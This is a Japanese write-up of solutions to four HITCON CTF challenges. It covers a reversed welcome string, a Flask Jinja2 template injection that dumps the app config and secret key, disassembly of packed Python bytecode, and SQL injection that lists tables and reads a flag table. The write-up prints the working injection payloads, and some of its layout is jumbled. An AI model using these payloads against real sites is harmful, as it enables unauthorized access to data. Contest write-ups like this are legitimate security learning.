Welcome
628 Teams solved.
Description
}FTC NOCTIH ot emocleW{noctih
Hint
None
逆から読むとフラグになります。
フラグは、
フラグは、
hitcon{Welcome to HITCON CTF}です。
Welcome
628 Teams solved.
Description
}FTC NOCTIH ot emocleW{noctih
Hint
None
hitcon{Welcome to HITCON CTF}です。
問題で提示されたURLにアクセスします。次のようなページが表示されます。Secure Posts
117 Teams solved.
Description
Here is a service that you can store any posts. Can you hack it?
http://52.69.126.212/
Hint
None
Authorに入力した内容がsession変数に格納され、render_template関数でrender_template_string関数にそのまま渡されています。Flask Jinja2 Template Injectionというものが使えそうです。from flask import Flaskimport config# init appapp = Flask(__name__)app.secret_key = config.flag1accept_datatype = ['json', 'yaml']from flask import Responsefrom flask import request, sessionfrom flask import redirect, url_for, safe_join, abortfrom flask import render_template_string# load utilsdef load_eval(data):return eval(data)def load_pickle(data):import picklereturn pickle.loads(data)def load_json(data):import jsonreturn json.loads(data)def load_yaml(data):import yamlreturn yaml.load(data)# dump utilsdef dump_eval(data):return repr(data)def dump_pickle(data):import picklereturn pickle.dumps(data)def dump_json(data):import jsonreturn json.dumps(data)def dump_yaml(data):import yamlreturn yaml.dump(data)def render_template(filename, **args):with open(safe_join(app.template_folder, filename)) as f:template = f.read()name = session.get('name', 'anonymous')[:10]return render_template_string(template.format(name=name), **args)def load_posts():handlers = {# disabled insecure data type#"eval": load_eval,#"pickle": load_pickle,"json": load_json,"yaml": load_yaml}datatype = session.get("post_type", config.default_datatype)data = session.get("post_data", config.default_data)if datatype not in handlers: abort(403)return handlers[datatype](data)def store_posts(posts, datatype):handlers = {"eval": dump_eval,"pickle": dump_pickle,"json": dump_json,"yaml": dump_yaml}if datatype not in handlers: abort(403)data = handlers[datatype](posts)session["post_type"] = datatypesession["post_data"] = data@app.route('/')def index():posts = load_posts()return render_template('index.html', posts = posts, accept_datatype = accept_datatype)@app.route('/post', methods=['POST'])def add_post():posts = load_posts()title = request.form.get('title', 'empty')content = request.form.get('content', 'empty')datatype = request.form.get('datatype', 'json')if datatype not in accept_datatype: abort(403)name = request.form.get('author', 'anonymous')[:10]from datetime import datetimeposts.append({'title': title,'author': name,'content': content,'date': datetime.now().strftime("%B %d, %Y %X")})session["name"] = namestore_posts(posts, datatype)return redirect(url_for('index'))@app.route('/source')def get_source():with open(__file__, "r") as f:resp = f.read()return Response(resp, mimetype="text/plain")
{{config}}
<Config {'USE_X_SENDFILE': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'SESSION_REFRESH_EACH_REQUEST': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'LOGGER_HANDLER_POLICY': 'always', 'LOGGER_NAME': '__main__', 'PREFERRED_URL_SCHEME': 'http', 'PROPAGATE_EXCEPTIONS': None, 'APPLICATION_ROOT': None, 'SESSION_COOKIE_SECURE': False, 'SERVER_NAME': None, 'SESSION_COOKIE_DOMAIN': None, 'TEMPLATES_AUTO_RELOAD': None, 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': True, 'DEBUG': False, 'SESSION_COOKIE_PATH': None, 'TESTING': False, 'MAX_CONTENT_LENGTH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_NAME': 'session', 'SECRET_KEY': 'hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}', 'TRAP_HTTP_EXCEPTIONS': False, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'JSONIFY_MIMETYPE': 'application/json', 'TRAP_BAD_REQUEST_ERRORS': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31)}>フラグは、
hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}です。
提示されたPythonのコードは、base64でエンコードされた文字列をbase64でデコードし、それをzlibで解凍した結果をmarshalで読み込んでexecで実行しています。marshalで読み込んだコードはPythonのバイトコードになっているので、disで逆アセンブルします。Handcrafted pyc
195 Teams solved.
Description
Can your brain be a Python VM? (Please use Python 2.7)
Hint
None
逆アセンブルした結果は次のとおりです。>>> import dis>>> import marshal,zlib,base64>>> code = marshal.loads(zlib.decompress(base64.b64decode('eJyNVktv00AQXm/eL0igiaFA01IO4cIVCUGFBBJwqRAckLhEIQmtRfPwI0QIeio/hRO/hJ/CiStH2M/prj07diGRP43Hs9+MZ2fWMxbnP6mux+oK9xVMHPFViLdCTB0xkeKDFEFfTIU4E8KZq8dCvB4UlN3hGEsdddXU9QTLv1eFiGKGM4cKUgsFCNLFH7dFrS9poayFYmIZm1b0gyqxMOwJaU3r6xs9sW1ooakXuRv+un7Q0sIlLVzOCZq/XtsK2oTSYaZlStogXi1HV0iazoN2CV2HZeXqRQ54TlJRb7FUlKyUatISsdzo+P7UU1Gb1POdMruckepGwk9tIXQTftz2yBaT5JQovWvpSa6poJPuqgao+b9l5Aj/R+mLQIP4f6Q8Vb3g/5TB/TJxWGdZr9EQrmn99fwKtTvAZGU7wzS7GNpZpDm2JgCrr8wrmPoo54UqGampFIeS9ojXjc4E2yI06bq/4DRoUAc0nVnng4k6p7Ks0+j/S8z9V+NZ5dhmrJUM/y7JTJeRtnJ2TSYJvsFq3CQt/vnfqmQXt5KlpuRcIvDAmhnn2E0t9BJ3SvB/SfLWhuOWNiNVZ+h28g4wlwUp00w95si43rZ3r6+fUIEdgOZbQAsyFRRvBR6dla8KCzRdslar7WS+a5HFb39peIAmG7uZTHVm17Czxju4m6bayz8e7J40DzqM0jr0bmv9PmPvk6y5z57HU8wdTDHeiUJvBMAM4+0CpoAZ4BPgJeAYEAHmgAUgAHiAj4AVAGORtwd4AVgC3gEmgBBwCPgMWANOAQ8AbwBHgHuAp4D3gLuARwoGmNUizF/j4yDC5BWM1kNvvlxFA8xikRrBxHIUhutFMBlgQoshhPphGAXe/OggKqqb2cibxwuEXjUcQjccxi5eFRL1fDSbKrUhy2CMb2aLyepkegDWsBwPlrVC0/kLHmeCBQ==')))>>> dis.dis(code)
さらに、main関数をdisで逆アセンブルします。1 0 LOAD_CONST 1 (<code object main at 00000000022FA1B0, file "<string>", line 1>)3 MAKE_FUNCTION 06 STORE_NAME 0 (main)4 9 LOAD_NAME 1 (__name__)12 LOAD_CONST 2 ('__main__')15 COMPARE_OP 2 (==)18 POP_JUMP_IF_FALSE 315 21 LOAD_NAME 0 (main)24 CALL_FUNCTION 027 POP_TOP28 JUMP_FORWARD 0 (to 31)>> 31 LOAD_CONST 0 (None)34 RETURN_VALUE
逆アセンブルした結果は次のとおりです。chr関数で文字コードから文字列を生成しています。>>> dis.dis(main)
上記で、2列目の数字がバイト数です。0~725バイトまでこのような処理が続いており、そこで生成される文字列は、次のとおりとなります。1 0 LOAD_GLOBAL 0 (chr)3 LOAD_CONST 1 (108)6 CALL_FUNCTION 1 l9 LOAD_GLOBAL 0 (chr)12 LOAD_CONST 1 (108)15 CALL_FUNCTION 1 l18 LOAD_GLOBAL 0 (chr)21 LOAD_CONST 2 (97)24 CALL_FUNCTION 1 a27 LOAD_GLOBAL 0 (chr)30 LOAD_CONST 3 (67)
33 CALL_FUNCTION 1 C
(略)
Call me a Python virtual machine! I can interpret Python bytecodes!!!さらに、その先のバイトコードを見てみると、上記文字列をpassword変数に格納し、入力値と比較しています。比較した結果一致していない場合、1591バイトにジャンプしています。
入力値とpasswordが一致していた場合は、以下のコードが実行されます。文字コードから文字列を生成しています。ここで生成される文字列がフラグになります。(略)741 JUMP_ABSOLUTE 759>> 744 LOAD_GLOBAL 1 (raw_input)747 JUMP_ABSOLUTE 1480>> 750 LOAD_FAST 0 (password)753 COMPARE_OP 2 (==)756 JUMP_ABSOLUTE 767>> 759 ROT_TWO760 STORE_FAST 0 (password)763 POP_TOP764 JUMP_ABSOLUTE 744
>> 767 POP_JUMP_IF_FALSE 1591
770 LOAD_GLOBAL 0 (chr)773 LOAD_CONST 17 (99)776 CALL_FUNCTION 1 c779 LOAD_GLOBAL 0 (chr)782 LOAD_CONST 10 (116)785 CALL_FUNCTION 1 t788 LOAD_GLOBAL 0 (chr)791 LOAD_CONST 14 (105)794 CALL_FUNCTION 1 i797 LOAD_GLOBAL 0 (chr)800 LOAD_CONST 9 (104)803 CALL_FUNCTION 1 h(略)
>>> exec(code)password: Call me a Python virtual machine! I can interpret Python bytecodes!!!hitcon{Now you can compile and run Python bytecode in your brain!}
hitcon{Now you can compile and run Python bytecode in your brain!}
提示されたURLにアクセスします。下図がVerify paymentのページです。Are you rich?
209 Teams solved.
Description
Are you rich? Buy the flag!
http://52.197.140.254/are_you_rich/
ps. You should NOT pay anything for this challenge
Some error messages which is non-related to challenge have been removed
Hint
None
' or 1=1 ######################---”Found more than 1 records”とメッセージが表示されます。SQLインジェクションが効いているようです。
' union select table_name from information_schema.tables where table_name like 'fl%' ########メッセージに”flag1”というアドレスは不正と表示されました。これで"flag1"というテーブルが存在することが分かります。
' union select flag from flag1 ########下図のとおり、フラグが表示されました。
hitcon{4r3_y0u_r1ch?ju57_buy_7h3_fl4g!!}です。